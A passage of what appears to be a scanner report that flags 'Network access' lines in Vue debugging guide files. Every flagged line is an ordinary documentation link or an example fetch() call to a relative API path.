    ## Reference - [Vue DevTools](https://devtools.vuejs.org/)
  • Network accessline 202
    - [Vue DevTools](https://devtools.vuejs.org/)
  • Network accessline 203
    - [Pinia DevTools](https://pinia.vuejs.org/core-concepts/index.html#devtools)

packages/autoskills/skills-registry/vue-debug-guides/reference/provide-inject-default-value-factory.md

  • Network accessline 199
    // TypeScript understands the factory return type const config = inject(ConfigKey, () => ({   apiUrl: 'https://api.example.com',
  • Network accessline 200
    const config = inject(ConfigKey, () => ({   apiUrl: 'https://api.example.com',   debug: false,
  • Network accessline 201
    apiUrl: 'https://api.example.com',
  • Network accessline 242
    ## Reference - [Vue.js inject() API Reference](https://vuejs.org/api/composition-api-dependency-injection.html#inject)
  • Network accessline 243
    - [Vue.js inject() API Reference](https://vuejs.org/api/composition-api-dependency-injection.html#inject)
  • Network accessline 244
    - [Vue.js Provide/Inject Guide](https://vuejs.org/guide/components/provide-inject.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/provide-inject-reactivity-not-automatic.md

  • Network accessline 223
    ## Reference - [Vue.js Provide/Inject - Working with Reactivity](https://vuejs.org/guide/components/provide-inject.html#working-with-reactivity)
  • Network accessline 224
    - [Vue.js Provide/Inject - Working with Reactivity](https://vuejs.org/guide/components/provide-inject.html#working-with-reactivity)
  • Network accessline 225
    - [How to make provide/inject reactive - LogRocket Blog](https://blog.logrocket.com/how-to-make-provide-inject-reactive/)
  • Network accessline 226
    - [GitHub Issue: Inject/Provide is not reactive](https://github.com/vuejs/vue/issues/7017)

packages/autoskills/skills-registry/vue-debug-guides/reference/provide-inject-synchronous-setup.md

  • Network accessline 52
    const response = await fetch('/api/config')
  • Network accessline 233
    ## Reference - [Vue.js Composition API - provide()](https://vuejs.org/api/composition-api-dependency-injection.html#provide)
  • Network accessline 234
    - [Vue.js Composition API - provide()](https://vuejs.org/api/composition-api-dependency-injection.html#provide)
  • Network accessline 235
    - [Vue.js Provide/Inject Guide](https://vuejs.org/guide/components/provide-inject.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/reactive-destructuring.md

  • Network accessline 87
    ## Reference - [Vue.js Reactivity Fundamentals - reactive()](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#reactive)
  • Network accessline 88
    - [Vue.js Reactivity Fundamentals - reactive()](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#reactive)
  • Network accessline 89
    - [Vue.js Reactivity API - toRefs()](https://vuejs.org/api/reactivity-utilities.html#torefs)

packages/autoskills/skills-registry/vue-debug-guides/reference/reactivity-debugging-hooks.md

  • Network accessline 129
    ## Reference - [Vue.js Reactivity in Depth - Debugging](https://vuejs.org/guide/extras/reactivity-in-depth.html#reactivity-debugging)
  • Network accessline 130
    - [Vue.js Reactivity in Depth - Debugging](https://vuejs.org/guide/extras/reactivity-in-depth.html#reactivity-debugging)
  • Network accessline 131
    - [Vue.js computed() API](https://vuejs.org/api/reactivity-core.html#computed)
  • Network accessline 132
    - [Vue.js onRenderTracked()](https://vuejs.org/api/composition-api-lifecycle.html#onrendertracked)

packages/autoskills/skills-registry/vue-debug-guides/reference/reactivity-markraw-for-non-reactive.md

  • Network accessline 65
    // CORRECT: Large static data const geoJsonData = markRaw(await fetch('/huge-geojson.json').then(r => r.json()))
  • Network accessline 66
    const geoJsonData = markRaw(await fetch('/huge-geojson.json').then(r => r.json()))
  • Network accessline 146
    ## Reference - [Vue.js markRaw() API](https://vuejs.org/api/reactivity-advanced.html#markraw)
  • Network accessline 147
    - [Vue.js markRaw() API](https://vuejs.org/api/reactivity-advanced.html#markraw)
  • Network accessline 148
    - [Vue.js Reducing Reactivity Overhead](https://vuejs.org/guide/best-practices/performance.html#reduce-reactivity-overhead-for-large-immutable-structures)
  • Network accessline 149
    - [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/reactivity-proxy-identity-hazard.md

  • Network accessline 94
    ## Reference - [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html)
  • Network accessline 95
    - [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html)
  • Network accessline 96
    - [Vue.js toRaw() API](https://vuejs.org/api/reactivity-advanced.html#toraw)

packages/autoskills/skills-registry/vue-debug-guides/reference/reactivity-same-tick-batching.md

  • Network accessline 163
    ## Reference - [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html)
  • Network accessline 164
    - [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html)
  • Network accessline 165
    - [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing)
  • Network accessline 166
    - [Vue.js nextTick()](https://vuejs.org/api/general.html#nexttick)

packages/autoskills/skills-registry/vue-debug-guides/reference/ref-value-access.md

  • Network accessline 60
    ## Reference - [Vue.js Reactivity Fundamentals - ref()](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#ref)
  • Network accessline 61
    - [Vue.js Reactivity Fundamentals - ref()](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#ref)

packages/autoskills/skills-registry/vue-debug-guides/reference/refs-in-collections-need-value.md

  • Network accessline 80
    ## Reference - [Vue.js Reactivity Fundamentals - Caveat in Arrays and Collections](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#caveat-in-arrays-and-collections)
  • Network accessline 81
    - [Vue.js Reactivity Fundamentals - Caveat in Arrays and Collections](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#caveat-in-arrays-and-collections)

packages/autoskills/skills-registry/vue-debug-guides/reference/render-function-avoid-internal-vnode-properties.md

  • Network accessline 149
    ## Reference - [Vue.js Render Function APIs](https://vuejs.org/api/render-function.html)
  • Network accessline 150
    - [Vue.js Render Function APIs](https://vuejs.org/api/render-function.html)
  • Network accessline 151
    - [Vue.js Render Functions - The Virtual DOM](https://vuejs.org/guide/extras/render-function.html#the-virtual-dom)

packages/autoskills/skills-registry/vue-debug-guides/reference/render-function-vnodes-must-be-unique.md

  • Network accessline 132
    ## Reference - [Vue.js Render Functions - Vnodes Must Be Unique](https://vuejs.org/guide/extras/render-function.html#vnodes-must-be-unique)
  • Network accessline 133
    - [Vue.js Render Functions - Vnodes Must Be Unique](https://vuejs.org/guide/extras/render-function.html#vnodes-must-be-unique)

packages/autoskills/skills-registry/vue-debug-guides/reference/rendering-render-function-h-import-vue3.md

  • Network accessline 146
    ## Reference - [Vue 3 Migration Guide - Render Function API](https://v3-migration.vuejs.org/breaking-changes/render-function-api.html)
  • Network accessline 147
    - [Vue 3 Migration Guide - Render Function API](https://v3-migration.vuejs.org/breaking-changes/render-function-api.html)
  • Network accessline 148
    - [Vue.js Render Functions & JSX](https://vuejs.org/guide/extras/render-function.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/rendering-render-function-return-from-setup.md

  • Network accessline 146
    ## Reference - [Vue.js Render Functions with Composition API](https://vuejs.org/guide/extras/render-function.html#render-functions-jsx)
  • Network accessline 147
    - [Vue.js Render Functions with Composition API](https://vuejs.org/guide/extras/render-function.html#render-functions-jsx)
  • Network accessline 148
    - [Vue.js Composition API setup()](https://vuejs.org/api/composition-api-setup.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/rendering-render-function-slots-as-functions.md

  • Network accessline 166
    ## Reference - [Vue.js Render Functions - Passing Slots](https://vuejs.org/guide/extras/render-function.html#passing-slots)
  • Network accessline 167
    - [Vue.js Render Functions - Passing Slots](https://vuejs.org/guide/extras/render-function.html#passing-slots)
  • Network accessline 168
    - [Vue.js Render Functions - Children](https://vuejs.org/guide/extras/render-function.html#children)

packages/autoskills/skills-registry/vue-debug-guides/reference/rendering-resolve-component-for-string-names.md

  • Network accessline 229
    ## Reference - [Vue 3 Migration - Render Function API](https://v3-migration.vuejs.org/breaking-changes/render-function-api.html)
  • Network accessline 230
    - [Vue 3 Migration - Render Function API](https://v3-migration.vuejs.org/breaking-changes/render-function-api.html)
  • Network accessline 231
    - [Vue.js Render Function API - resolveComponent](https://vuejs.org/api/render-function.html#resolvecomponent)

packages/autoskills/skills-registry/vue-debug-guides/reference/select-initial-value-ios-bug.md

  • Network accessline 90
    ## Reference - [Vue.js Form Input Bindings - Select](https://vuejs.org/guide/essentials/forms.html#select)
  • Network accessline 91
    - [Vue.js Form Input Bindings - Select](https://vuejs.org/guide/essentials/forms.html#select)

packages/autoskills/skills-registry/vue-debug-guides/reference/self-referencing-component-name.md

  • Network accessline 156
    ## Reference - [Vue.js Component Registration](https://vuejs.org/guide/components/registration.html)
  • Network accessline 157
    - [Vue.js Component Registration](https://vuejs.org/guide/components/registration.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/sfc-named-exports-forbidden.md

  • Network accessline 182
    ## Reference - [Vue.js SFC Specification](https://vuejs.org/api/sfc-spec.html)
  • Network accessline 183
    - [Vue.js SFC Specification](https://vuejs.org/api/sfc-spec.html)
  • Network accessline 184
    - [Vue.js Composition API - Composables](https://vuejs.org/guide/reusability/composables.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/sfc-scoped-css-child-component-styling.md

  • Network accessline 154
    ## Reference - [Vue.js Scoped CSS - Deep Selectors](https://vuejs.org/api/sfc-css-features.html#deep-selectors)
  • Network accessline 155
    - [Vue.js Scoped CSS - Deep Selectors](https://vuejs.org/api/sfc-css-features.html#deep-selectors)
  • Network accessline 156
    - [Vue Loader Scoped CSS](https://vue-loader.vuejs.org/guide/scoped-css.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/sfc-scoped-css-dynamic-content.md

  • Network accessline 191
    ## Reference - [Vue.js Scoped CSS](https://vuejs.org/api/sfc-css-features.html#scoped-css)
  • Network accessline 192
    - [Vue.js Scoped CSS](https://vuejs.org/api/sfc-css-features.html#scoped-css)
  • Network accessline 193
    - [GitHub Issue: Scoped CSS not applied for programmatically added elements](https://github.com/vuejs/vue/issues/7649)

packages/autoskills/skills-registry/vue-debug-guides/reference/sfc-scoped-css-slot-content.md

  • Network accessline 240
    ## Reference - [Vue.js Scoped CSS - Slotted Selectors](https://vuejs.org/api/sfc-css-features.html#slotted-selectors)
  • Network accessline 241
    - [Vue.js Scoped CSS - Slotted Selectors](https://vuejs.org/api/sfc-css-features.html#slotted-selectors)
  • Network accessline 242
    - [Vue.js Deep Selectors](https://vuejs.org/api/sfc-css-features.html#deep-selectors)

packages/autoskills/skills-registry/vue-debug-guides/reference/sfc-script-setup-reactivity.md

  • Network accessline 192
    ## Reference - [Vue.js Reactivity Fundamentals](https://vuejs.org/guide/essentials/reactivity-fundamentals.html)
  • Network accessline 193
    - [Vue.js Reactivity Fundamentals](https://vuejs.org/guide/essentials/reactivity-fundamentals.html)
  • Network accessline 194
    - [Vue.js ref()](https://vuejs.org/api/reactivity-core.html#ref)
  • Network accessline 195
    - [Vue.js reactive()](https://vuejs.org/api/reactivity-core.html#reactive)

packages/autoskills/skills-registry/vue-debug-guides/reference/slot-forwarding-to-child-components.md

  • Network accessline 141
    ## Reference - [Vue Land FAQ - Forwarding Slots](https://vue-land.github.io/faq/forwarding-slots)
  • Network accessline 142
    - [Vue Land FAQ - Forwarding Slots](https://vue-land.github.io/faq/forwarding-slots)
  • Network accessline 143
    - [Vue.js Slots - Scoped Slots](https://vuejs.org/guide/components/slots.html#scoped-slots)

packages/autoskills/skills-registry/vue-debug-guides/reference/slot-implicit-default-content.md

  • Network accessline 154
    ## Reference - [Vue.js Slots - Named Slots](https://vuejs.org/guide/components/slots.html#named-slots)
  • Network accessline 155
    - [Vue.js Slots - Named Slots](https://vuejs.org/guide/components/slots.html#named-slots)

packages/autoskills/skills-registry/vue-debug-guides/reference/slot-name-reserved-prop.md

  • Network accessline 108
    ## Reference - [Vue.js Slots - Scoped Slots](https://vuejs.org/guide/components/slots.html#scoped-slots)
  • Network accessline 109
    - [Vue.js Slots - Scoped Slots](https://vuejs.org/guide/components/slots.html#scoped-slots)

packages/autoskills/skills-registry/vue-debug-guides/reference/slot-named-scoped-explicit-default.md

  • Network accessline 94
    ## Reference - [Vue.js Slots - Named Scoped Slots](https://vuejs.org/guide/components/slots.html#named-scoped-slots)
  • Network accessline 95
    - [Vue.js Slots - Named Scoped Slots](https://vuejs.org/guide/components/slots.html#named-scoped-slots)

packages/autoskills/skills-registry/vue-debug-guides/reference/slot-render-scope-parent-only.md

  • Network accessline 134
    ## Reference - [Vue.js Slots - Render Scope](https://vuejs.org/guide/components/slots.html#render-scope)
  • Network accessline 135
    - [Vue.js Slots - Render Scope](https://vuejs.org/guide/components/slots.html#render-scope)

packages/autoskills/skills-registry/vue-debug-guides/reference/slot-v-slot-on-components-or-templates-only.md

  • Network accessline 120
    ## Reference - [Vue.js Slots](https://vuejs.org/guide/components/slots.html)
  • Network accessline 121
    - [Vue.js Slots](https://vuejs.org/guide/components/slots.html)
  • Network accessline 122
    - [DeepScan - vue-misused-v-slot](https://deepscan.io/docs/rules/vue-misused-v-slot)

packages/autoskills/skills-registry/vue-debug-guides/reference/ssr-hydration-mismatch-causes.md

  • Network accessline 277
    ## Reference - [Vue.js SSR Guide - Hydration Mismatch](https://vuejs.org/guide/scaling-up/ssr.html#hydration-mismatch)
  • Network accessline 278
    - [Vue.js SSR Guide - Hydration Mismatch](https://vuejs.org/guide/scaling-up/ssr.html#hydration-mismatch)
  • Network accessline 279
    - [Nuxt Hydration Best Practices](https://nuxt.com/docs/guide/best-practices/hydration)
  • Network accessline 280
    - [data-allow-mismatch RFC](https://github.com/vuejs/core/pull/9562)

packages/autoskills/skills-registry/vue-debug-guides/reference/ssr-platform-specific-apis.md

  • Network accessline 159
    // Fetch - works in both Node.js 18+ and browsers const response = await fetch('/api/data')
  • Network accessline 160
    const response = await fetch('/api/data')
  • Network accessline 202
    // app.js - Universal code uses API instead const config = await fetch('/api/config').then(r => r.json())
  • Network accessline 203
    const config = await fetch('/api/config').then(r => r.json())
  • Network accessline 253
    ## Reference - [Vue.js SSR - Platform-Specific APIs](https://vuejs.org/guide/scaling-up/ssr.html#access-to-platform-specific-apis)
  • Network accessline 254
    - [Vue.js SSR - Platform-Specific APIs](https://vuejs.org/guide/scaling-up/ssr.html#access-to-platform-specific-apis)
  • Network accessline 255
    - [Nuxt ClientOnly Component](https://nuxt.com/docs/api/components/client-only)
  • Network accessline 256
    - [MDN: Web APIs](https://developer.mozilla.org/en-US/docs/Web/API)

packages/autoskills/skills-registry/vue-debug-guides/reference/state-ssr-cross-request-pollution.md

  • Network accessline 273
    ## Reference - [Vue.js State Management - SSR Considerations](https://vuejs.org/guide/scaling-up/state-management.html#ssr-considerations)
  • Network accessline 274
    - [Vue.js State Management - SSR Considerations](https://vuejs.org/guide/scaling-up/state-management.html#ssr-considerations)
  • Network accessline 275
    - [Pinia SSR Guide](https://pinia.vuejs.org/ssr/)
  • Network accessline 276
    - [Vue SSR Guide](https://vuejs.org/guide/scaling-up/ssr.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/suspense-no-builtin-error-handling.md

  • Network accessline 126
    - [Vue.js Suspense Documentation](https://vuejs.org/guide/built-ins/suspense#error-handling)
  • Network accessline 127
    - [Vue.js onErrorCaptured](https://vuejs.org/api/composition-api-lifecycle#onerrorcaptured)

packages/autoskills/skills-registry/vue-debug-guides/reference/suspense-ssr-hydration-issues.md

  • Network accessline 156
    - [Vue.js Suspense Documentation](https://vuejs.org/guide/built-ins/suspense)
  • Network accessline 157
    - [Vue Issue #6638 - Suspense hydration](https://github.com/vuejs/core/issues/6638)
  • Network accessline 158
    - [Vue Issue #7672 - defineAsyncComponent SSR](https://github.com/vuejs/core/issues/7672)
  • Network accessline 159
    - [TanStack Query SSR Discussion](https://github.com/TanStack/query/discussions/4870)

packages/autoskills/skills-registry/vue-debug-guides/reference/tailwind-dynamic-class-generation.md

  • Network accessline 143
    - [Tailwind CSS Dynamic Class Names](https://tailwindcss.com/docs/content-configuration#dynamic-class-names)
  • Network accessline 144
    - [Tailwind Safelist](https://tailwindcss.com/docs/content-configuration#safelisting-classes)

packages/autoskills/skills-registry/vue-debug-guides/reference/teleport-scoped-styles-limitation.md

  • Network accessline 189
    ## Reference - [Vue.js SFC CSS Features - Scoped CSS](https://vuejs.org/api/sfc-css-features.html#scoped-css)
  • Network accessline 190
    - [Vue.js SFC CSS Features - Scoped CSS](https://vuejs.org/api/sfc-css-features.html#scoped-css)
  • Network accessline 191
    - [GitHub Issue #2047 - Scoped styles and teleport](https://github.com/vuejs/core/issues/2047)

packages/autoskills/skills-registry/vue-debug-guides/reference/teleport-ssr-hydration.md

  • Network accessline 149
    ## Reference - [Vue.js SSR - Teleports](https://vuejs.org/guide/scaling-up/ssr.html#teleports)
  • Network accessline 150
    - [Vue.js SSR - Teleports](https://vuejs.org/guide/scaling-up/ssr.html#teleports)
  • Network accessline 151
    - [Element Plus SSR Guide](https://element-plus.org/en-US/guide/ssr.html)
  • Network accessline 152
    - [Nuxt ClientOnly Component](https://nuxt.com/docs/api/components/client-only)

packages/autoskills/skills-registry/vue-debug-guides/reference/teleport-target-must-exist.md

  • Network accessline 111
    ## Reference - [Vue.js Teleport - Using with Vue-rendered Targets](https://vuejs.org/guide/built-ins/teleport.html#using-with-vue-rendered-targets)
  • Network accessline 112
    - [Vue.js Teleport - Using with Vue-rendered Targets](https://vuejs.org/guide/built-ins/teleport.html#using-with-vue-rendered-targets)
  • Network accessline 113
    - [Vue.js Teleport - Deferred Teleport](https://vuejs.org/guide/built-ins/teleport.html#deferred-teleport)

packages/autoskills/skills-registry/vue-debug-guides/reference/template-expressions-restrictions.md

  • Network accessline 112
    ## Reference - [Vue.js Template Syntax - Using JavaScript Expressions](https://vuejs.org/guide/essentials/template-syntax.html#using-javascript-expressions)
  • Network accessline 113
    - [Vue.js Template Syntax - Using JavaScript Expressions](https://vuejs.org/guide/essentials/template-syntax.html#using-javascript-expressions)
  • Network accessline 114
    - [Vue.js Conditional Rendering](https://vuejs.org/guide/essentials/conditional.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/template-functions-no-side-effects.md

  • Network accessline 59
    // BAD: Async operation in template async function fetchUserName() {   const res = await fetch('/api/user')  // Side effect!
  • Network accessline 60
    async function fetchUserName() {   const res = await fetch('/api/user')  // Side effect!   return (await res.json()).name
  • Network accessline 61
    const res = await fetch('/api/user')  // Side effect!
  • Network accessline 123
    // Fetch data in lifecycle hook onMounted(async () => {   const res = await fetch('/api/user')
  • Network accessline 124
    onMounted(async () => {   const res = await fetch('/api/user')   userName.value = (await res.json()).name
  • Network accessline 125
    const res = await fetch('/api/user')
  • Network accessline 185
    ## Reference - [Vue.js Template Syntax - Calling Functions](https://vuejs.org/guide/essentials/template-syntax.html#calling-functions)
  • Network accessline 186
    - [Vue.js Template Syntax - Calling Functions](https://vuejs.org/guide/essentials/template-syntax.html#calling-functions)
  • Network accessline 187
    - [Vue.js Computed Properties](https://vuejs.org/guide/essentials/computed.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/template-ref-null-with-v-if.md

  • Network accessline 122
    ## Reference - [Vue.js Template Refs](https://vuejs.org/guide/essentials/template-refs.html)
  • Network accessline 123
    - [Vue.js Template Refs](https://vuejs.org/guide/essentials/template-refs.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/template-ref-unwrapping-top-level.md

  • Network accessline 103
    ## Reference - [Vue.js Reactivity Fundamentals - Caveat when Unwrapping in Templates](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#caveat-when-unwrapping-in-templates)
  • Network accessline 104
    - [Vue.js Reactivity Fundamentals - Caveat when Unwrapping in Templates](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#caveat-when-unwrapping-in-templates)

packages/autoskills/skills-registry/vue-debug-guides/reference/template-ref-v-for-order.md

  • Network accessline 171
    ## Reference - [Vue.js Template Refs - Refs inside v-for](https://vuejs.org/guide/essentials/template-refs.html#refs-inside-v-for)
  • Network accessline 172
    - [Vue.js Template Refs - Refs inside v-for](https://vuejs.org/guide/essentials/template-refs.html#refs-inside-v-for)

packages/autoskills/skills-registry/vue-debug-guides/reference/textarea-no-interpolation.md

  • Network accessline 71
    ## Reference - [Vue.js Form Input Bindings - Multiline text](https://vuejs.org/guide/essentials/forms.html#multiline-text)
  • Network accessline 72
    - [Vue.js Form Input Bindings - Multiline text](https://vuejs.org/guide/essentials/forms.html#multiline-text)

packages/autoskills/skills-registry/vue-debug-guides/reference/transition-group-flip-inline-elements.md

  • Network accessline 150
    ## Reference - [Vue.js TransitionGroup Move Transitions](https://vuejs.org/guide/built-ins/transition-group.html#move-transitions)
  • Network accessline 151
    - [Vue.js TransitionGroup Move Transitions](https://vuejs.org/guide/built-ins/transition-group.html#move-transitions)
  • Network accessline 152
    - [MDN CSS Transform - Formal Definition](https://developer.mozilla.org/en-US/docs/Web/CSS/transform#formal_definition)

packages/autoskills/skills-registry/vue-debug-guides/reference/transition-group-move-animation-position-absolute.md

  • Network accessline 128
    ## Reference - [Vue.js TransitionGroup Move Transitions](https://vuejs.org/guide/built-ins/transition-group.html#move-transitions)
  • Network accessline 129
    - [Vue.js TransitionGroup Move Transitions](https://vuejs.org/guide/built-ins/transition-group.html#move-transitions)
  • Network accessline 130
    - [FLIP Animation Technique](https://aerotwist.com/blog/flip-your-animations/)

packages/autoskills/skills-registry/vue-debug-guides/reference/transition-group-no-default-wrapper-vue3.md

  • Network accessline 150
    ## Reference - [Vue 3 Migration Guide - TransitionGroup Root Element](https://v3-migration.vuejs.org/breaking-changes/transition-group.html)
  • Network accessline 151
    - [Vue 3 Migration Guide - TransitionGroup Root Element](https://v3-migration.vuejs.org/breaking-changes/transition-group.html)
  • Network accessline 152
    - [Vue.js TransitionGroup](https://vuejs.org/guide/built-ins/transition-group.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/transition-js-hooks-done-callback.md

  • Network accessline 249
    ## Reference - [Vue.js Transition - JavaScript Hooks](https://vuejs.org/guide/built-ins/transition.html#javascript-hooks)
  • Network accessline 250
    - [Vue.js Transition - JavaScript Hooks](https://vuejs.org/guide/built-ins/transition.html#javascript-hooks)
  • Network accessline 251
    - [GSAP with Vue](https://gsap.com/resources/vue/)

packages/autoskills/skills-registry/vue-debug-guides/reference/transition-nested-duration.md

  • Network accessline 181
    ## Reference - [Vue.js Transition - Nested Transitions](https://vuejs.org/guide/built-ins/transition.html#nested-transitions-and-explicit-transition-durations)
  • Network accessline 182
    - [Vue.js Transition - Nested Transitions](https://vuejs.org/guide/built-ins/transition.html#nested-transitions-and-explicit-transition-durations)

packages/autoskills/skills-registry/vue-debug-guides/reference/transition-reusable-scoped-style.md

  • Network accessline 243
    ## Reference - [Vue.js Reusable Transitions](https://vuejs.org/guide/built-ins/transition.html#reusable-transitions)
  • Network accessline 244
    - [Vue.js Reusable Transitions](https://vuejs.org/guide/built-ins/transition.html#reusable-transitions)
  • Network accessline 245
    - [Vue.js Scoped CSS](https://vuejs.org/api/sfc-css-features.html#scoped-css)

packages/autoskills/skills-registry/vue-debug-guides/reference/transition-router-view-appear.md

  • Network accessline 191
    ## Reference - [Vue Router Transitions](https://router.vuejs.org/guide/advanced/transitions.html)
  • Network accessline 192
    - [Vue Router Transitions](https://router.vuejs.org/guide/advanced/transitions.html)
  • Network accessline 193
    - [Vue.js Transition appear](https://vuejs.org/guide/built-ins/transition.html#transition-on-appear)

packages/autoskills/skills-registry/vue-debug-guides/reference/transition-type-when-mixed.md

  • Network accessline 171
    ## Reference - [Vue.js Transition Documentation](https://vuejs.org/guide/built-ins/transition.html#css-based-transitions)
  • Network accessline 172
    - [Vue.js Transition Documentation](https://vuejs.org/guide/built-ins/transition.html#css-based-transitions)

packages/autoskills/skills-registry/vue-debug-guides/reference/transition-unmount-hook-timing.md

  • Network accessline 111
    onMounted(() => {       fetch('/api/data', { signal: abortController.signal })
  • Network accessline 112
    fetch('/api/data', { signal: abortController.signal })
  • Network accessline 146
    ## Reference - [Vue.js GitHub Issue #6260](https://github.com/vuejs/core/issues/6260)
  • Network accessline 147
    - [Vue.js GitHub Issue #6260](https://github.com/vuejs/core/issues/6260)
  • Network accessline 148
    - [Vue.js Transition](https://vuejs.org/guide/built-ins/transition.html)
  • Network accessline 149
    - [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/ts-defineprops-boolean-default-false.md

  • Network accessline 222
    ## Reference - [Vue.js Props - Boolean Casting](https://vuejs.org/guide/components/props.html#boolean-casting)
  • Network accessline 223
    - [Vue.js Props - Boolean Casting](https://vuejs.org/guide/components/props.html#boolean-casting)
  • Network accessline 224
    - [GitHub Issue: Boolean props default to false](https://github.com/vuejs/core/issues/8576)
  • Network accessline 225
    - [TypeScript Vue 3 Props](https://madewithlove.com/blog/typescript-vue-3-and-strongly-typed-props/)

packages/autoskills/skills-registry/vue-debug-guides/reference/ts-defineprops-imported-types-limitations.md

  • Network accessline 278
    ## Reference - [Vue.js TypeScript with Composition API](https://vuejs.org/guide/typescript/composition-api.html)
  • Network accessline 279
    - [Vue.js TypeScript with Composition API](https://vuejs.org/guide/typescript/composition-api.html)
  • Network accessline 280
    - [GitHub Issue: defineProps with imported interfaces](https://github.com/vuejs/core/issues/8612)
  • Network accessline 281
    - [GitHub Issue: Union types in defineProps](https://github.com/vuejs/core/issues/5804)

packages/autoskills/skills-registry/vue-debug-guides/reference/ts-event-handler-explicit-typing.md

  • Network accessline 210
    ## Reference - [Vue.js TypeScript with Composition API - Event Handlers](https://vuejs.org/guide/typescript/composition-api.html#typing-event-handlers)
  • Network accessline 211
    - [Vue.js TypeScript with Composition API - Event Handlers](https://vuejs.org/guide/typescript/composition-api.html#typing-event-handlers)
  • Network accessline 212
    - [MDN Event Reference](https://developer.mozilla.org/en-US/docs/Web/Events)
  • Network accessline 213
    - [TypeScript DOM Types](https://github.com/microsoft/TypeScript/blob/main/lib/lib.dom.d.ts)

packages/autoskills/skills-registry/vue-debug-guides/reference/ts-reactive-no-generic-argument.md

  • Network accessline 193
    ## Reference - [Vue.js TypeScript with Composition API - Typing reactive()](https://vuejs.org/guide/typescript/composition-api.html#typing-reactive)
  • Network accessline 194
    - [Vue.js TypeScript with Composition API - Typing reactive()](https://vuejs.org/guide/typescript/composition-api.html#typing-reactive)
  • Network accessline 195
    - [GitHub Issue: ref with generic type](https://github.com/vuejs/core/discussions/9564)
  • Network accessline 196
    - [Vue TypeScript Caveats Gist](https://gist.github.com/LinusBorg/e041ff635994b50b7cec9383c3a067f1)

packages/autoskills/skills-registry/vue-debug-guides/reference/ts-shallowref-for-dynamic-components.md

  • Network accessline 216
    - [Vue.js Reactivity in Depth - Reducing Reactivity Overhead](https://vuejs.org/guide/extras/reactivity-in-depth.html#reducing-reactivity-overhead-for-large-immutable-structures)
  • Network accessline 217
    - [Vue.js API - shallowRef](https://vuejs.org/api/reactivity-advanced.html#shallowref)
  • Network accessline 218
    - [Vue.js API - markRaw](https://vuejs.org/api/reactivity-advanced.html#markraw)

packages/autoskills/skills-registry/vue-debug-guides/reference/ts-template-ref-null-handling.md

  • Network accessline 247
    ## Reference - [Vue.js TypeScript with Composition API - Template Refs](https://vuejs.org/guide/typescript/composition-api.html#typing-template-refs)
  • Network accessline 248
    - [Vue.js TypeScript with Composition API - Template Refs](https://vuejs.org/guide/typescript/composition-api.html#typing-template-refs)
  • Network accessline 249
    - [Vue.js Template Refs](https://vuejs.org/guide/essentials/template-refs.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/ts-template-type-casting.md

  • Network accessline 213
    - [Vue.js TypeScript Overview - TypeScript in Templates](https://vuejs.org/guide/typescript/overview.html#typescript-in-templates)
  • Network accessline 214
    - [Vue.js TypeScript with Composition API](https://vuejs.org/guide/typescript/composition-api.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/ts-withdefaults-mutable-factory-function.md

  • Network accessline 169
    ## Reference - [Vue.js TypeScript with Composition API - Default Props](https://vuejs.org/guide/typescript/composition-api.html#props-default-values)
  • Network accessline 170
    - [Vue.js TypeScript with Composition API - Default Props](https://vuejs.org/guide/typescript/composition-api.html#props-default-values)
  • Network accessline 171
    - [Vue RFC - Reactive Props Destructure](https://github.com/vuejs/rfcs/discussions/502)

packages/autoskills/skills-registry/vue-debug-guides/reference/undeclared-emits-double-firing.md

  • Network accessline 192
    ## Reference - [Vue 3 Migration - emits Option](https://v3-migration.vuejs.org/breaking-changes/emits-option)
  • Network accessline 193
    - [Vue 3 Migration - emits Option](https://v3-migration.vuejs.org/breaking-changes/emits-option)
  • Network accessline 194
    - [Vue.js Component Events](https://vuejs.org/guide/components/events.html)
  • Network accessline 195
    - [Vue.js Fallthrough Attributes](https://vuejs.org/guide/components/attrs.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/use-template-ref-vue35.md

  • Network accessline 156
    ## Reference - [Vue.js Template Refs - Composition API](https://vuejs.org/guide/essentials/template-refs.html#accessing-the-refs)
  • Network accessline 157
    - [Vue.js Template Refs - Composition API](https://vuejs.org/guide/essentials/template-refs.html#accessing-the-refs)
  • Network accessline 158
    - [Vue 3.5 Release Notes](https://blog.vuejs.org/posts/vue-3-5)

packages/autoskills/skills-registry/vue-debug-guides/reference/v-else-must-follow-v-if.md

  • Network accessline 135
    ## Reference - [Vue.js Conditional Rendering - v-else](https://vuejs.org/guide/essentials/conditional.html#v-else)
  • Network accessline 136
    - [Vue.js Conditional Rendering - v-else](https://vuejs.org/guide/essentials/conditional.html#v-else)

packages/autoskills/skills-registry/vue-debug-guides/reference/v-for-component-props.md

  • Network accessline 94
    ## Reference - [Vue.js List Rendering - v-for with Components](https://vuejs.org/guide/essentials/list.html#v-for-with-a-component)
  • Network accessline 95
